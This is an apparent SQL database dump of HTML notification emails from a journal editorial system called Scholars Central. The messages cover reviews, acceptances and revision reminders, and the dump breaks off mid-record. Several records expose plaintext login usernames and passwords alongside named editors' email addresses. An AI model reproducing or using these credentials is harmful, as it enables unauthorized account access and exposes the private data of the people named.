INSERT INTO `notifications` VALUES (52,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-613</b><br />\r\n            <br />\r\n            Article Title: <b>A case of upper cervical spinal cord infarction presented a sudden onset of severe occipital headache followed with an occipital neuralgia</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Hisashi Ito</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-19-613</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',613,'2019-07-26',75),(53,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-613</b><br />\r\n            <br />\r\n            Article Title: <b>A case of upper cervical spinal cord infarction presented a sudden onset of severe occipital headache followed with an occipital neuralgia</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipjnn-19-613</b> for the <b>Journal of Neurology and Neuroscience</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','rubidoc@gmail.com',613,'2019-07-26',75),(59,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-19-453</b><br />\r\n            <br />\r\n            Article Title: <b>Peri-procedural, non-invasive hemodynamic monitoring in TAVI-patients - Potential impact on patient selection and outcome prediction&nbsp;</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Dimitar Divchev</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-19-453</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',453,'2019-07-26',85),(61,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-627</b><br />\r\n            <br />\r\n            Article Title: <b>Severe Guillain-Barr&eacute; syndrome following Shingrix&reg; vaccine administration </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Rina Yadav</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-19-627</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','tsxie@qq.com',627,'2019-07-27',0),(66,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-19-422</b><br />\r\n            <br />\r\n            Article Title: <b>The Wound Dressings and Their Applications in Wound Healing and Management</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Science Journal</b><br />\r\n            <br />\r\n            Dear Dr. <b>Sun</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-07-22</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','lsun@tulane.edu',422,'2019-07-29',48),(67,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-19-423</b><br />\r\n            <br />\r\n            Article Title: <b>Sonographic Quantification of Abdominal Adipose Tissues Thickness in Hypertensive Obese Yoruba tribe in Lagos State, Nigeria</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Science Journal</b><br />\r\n            <br />\r\n            Dear Dr. <b>Promise Ogolodom</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-07-29</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','mpos2007@yahoo.com',423,'2019-07-29',0),(74,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-602</b><br />\r\n            <br />\r\n            Article Title: <b>NMDA antagonist ketamine induces significant hyperactivity and prepulse inhibition deficits in Gunn rats: a possible hyperbilirubinemia-induced animal model of schizophrenia</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Maiko Hayashida</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-19-602</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','tsxie@qq.com',602,'2019-07-30',75),(119,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-629</b><br />\r\n            <br />\r\n            Article Title: <b>A registry of maternal and fetal outcomes in pregnant epileptic Women from Pakistan</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Qamar Zaman</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-19-629</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',629,'2019-08-07',75),(125,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-19-453</b><br />\r\n            <br />\r\n            Article Title: <b>Peri-procedural, non-invasive hemodynamic monitoring in TAVI-patients - Potential impact on patient selection and outcome prediction&nbsp;</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-19-453</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','GAEWY1933@gmail.com',453,'2019-08-08',85),(126,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-555</b><br />\r\n            <br />\r\n            Article Title: <b>Evaluating the impact of the National Adolescent Health Strategic Plan on Adolescent Sexual Reproductive Health Services in Zambia: A qualitative study</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Chisashi</b><br />\r\n            <br />\r\n            As Scholars Central is concerned about the timelines, we are expecting the revision of <b>iphspr-19-555</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"http://www.hsprj.com/\">http://www.hsprj.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>mercy</b><br />\r\n            Password : <b>T1EncDHs</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','mercy.zimba@gmail.com',555,'2019-08-08',84),(133,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-631</b><br />\r\n            <br />\r\n            Article Title: <b>CYBERPSYCHOLOGY: A RAPID OVERVIEW OF SEXTING</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Etindele Sosso Faustin Armel</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-19-631</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',631,'2019-08-09',75),(201,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-747</b><br />\r\n            <br />\r\n            Article Title: <b>Physiological correlates of arousal: A meta-analytic review</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Beri</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-08-20</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dhruv.beri@psy.christuniversity.in',747,'2019-08-20',75),(202,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-627</b><br />\r\n            <br />\r\n            Article Title: <b>Severe Guillain-Barr&eacute; syndrome following Shingrix&reg; vaccine administration </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Rina Yadav</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Cui</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-19-627</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jianqi<br />\r\n            <b>Password:</b> 6crI6iMT<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','tsxie@qq.com',627,'2019-08-20',75),(228,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-1023</b><br />\r\n            <br />\r\n            Article Title: <b>Penicillin binding proteins3 and 4 relations between resistance phenotypes and mecA, TEM genes expression in Staphylococcal aureus</b><br />\r\n            <br />\r\n            Corresponding Author: <b>You Jin Hwang</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Kawaoka</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-19-1023</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> yoshihiro<br />\r\n            <b>Password:</b> 4TNl5fB6<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kawaoka@ims.u-tokyo.ac.jp',1023,'2019-08-22',248),(234,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-629</b><br />\r\n            <br />\r\n            Article Title: <b>A registry of maternal and fetal outcomes in pregnant epileptic Women from Pakistan</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipjnn-19-629</b> for the <b>Journal of Neurology and Neuroscience</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','faustin.armel.etindele.sosso@umontreal.ca',629,'2019-08-23',75),(242,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-627</b><br />\r\n            <br />\r\n            Article Title: <b>Severe Guillain-Barr&eacute; syndrome following Shingrix&reg; vaccine administration </b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            <strong>Dear Dr.</strong> <b>Yadav</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            Our finance person has sent you the galley proof and invoice for the manuscript. Kindly check your mail domain and let us know in case of any corrections as well as about the invoice.<br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ryadav188@marian.edu',627,'2019-08-23',75),(248,'<p>Ref.:  Ms. No. <b>ipacm-19-1023</b><br />\r\n<br />\r\n<b>Penicillin binding proteins3 and 4 relations between resistance phenotypes and mecA, TEM genes expression in Staphylococcal aureus</b><br />\r\n<br />\r\n<b>Archives of Clinical Microbiology</b><br />\r\n<br />\r\nDear <b>Dr. Kawaoka</b>,<br />\r\n<br />\r\n<b>Yoshihiro&nbsp;Kawaoka</b> has agreed to take on this assignment.<br />\r\n<br />\r\nRegards,<br />\r\n<b><a href=\"http://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></p>',2,'Editor Agrees To Handle Assignment','kawaoka@ims.u-tokyo.ac.jp',1023,'2019-08-24',248),(254,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-1290</b><br />\r\n            <br />\r\n            Article Title: <b>One Health Sector&rsquo;s Similar Criteria for Priority Setting: A Comparative Analysis of Criteria Used for Priority Setting in Six National Health Programs and Those Used across the Health Sector </b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Kapiriri</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Systems and Policy Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2019-08-26</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kapirir@mcmaster.ca',1290,'2019-08-26',84),(270,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-19-628</b><br />\r\n            <br />\r\n            Article Title: <b>Comparative Effects of Imipramine and Chlorpromazine on Neurobehavioural Parameters in Stressed Mice</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Seriki Samuel A.</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-19-628</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.scholarscentral.org/editorial-tracking/\">https://www.scholarscentral.org/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',628,'2019-08-27',75),(313,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">Scholars Central</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\">\r\n            <p><br />\r\n            Ref.:  Ms. No.  <b>iphspr-19-1290</b><br />\r\n            <br />\r\n            Article Title: <b>One Health Sector&rsquo;s Similar Criteria for Priority Setting: A Comparative Analysis of Criteria Used for Priority Setting in Six National Health Programs and Those Used across the Health Sector </b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Kapiriri</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Systems and Policy Research</b>. Doi of the article has been generated, at this time you can not withdraw your manuscript from our database. If you want to withdraw your manuscript you have to pay 50% of the publication charges or you can utilise reconduct of peer review process to revise your manuscript, until you satisfy with the comments from reviewers.</p>\r\n            <p>KINDLY LET US KNOW YOUR DECISION SOON POSSIBLE&nbsp;<br />\r\n            <br />\r\n            It is accepted on  <b>2019-08-29</b><br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"http://www.hsprj.com/\">Health Systems and Policy Research</a></b></p>\r\n            </td>\r\n        </tr>\r\n    </tbody>\r\n</table>\r\n<p>&nbsp;</p>',1,'Author Notification: Accept','kapirir@mcmaster.ca',1290,'2019-08-30',85),(396,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid 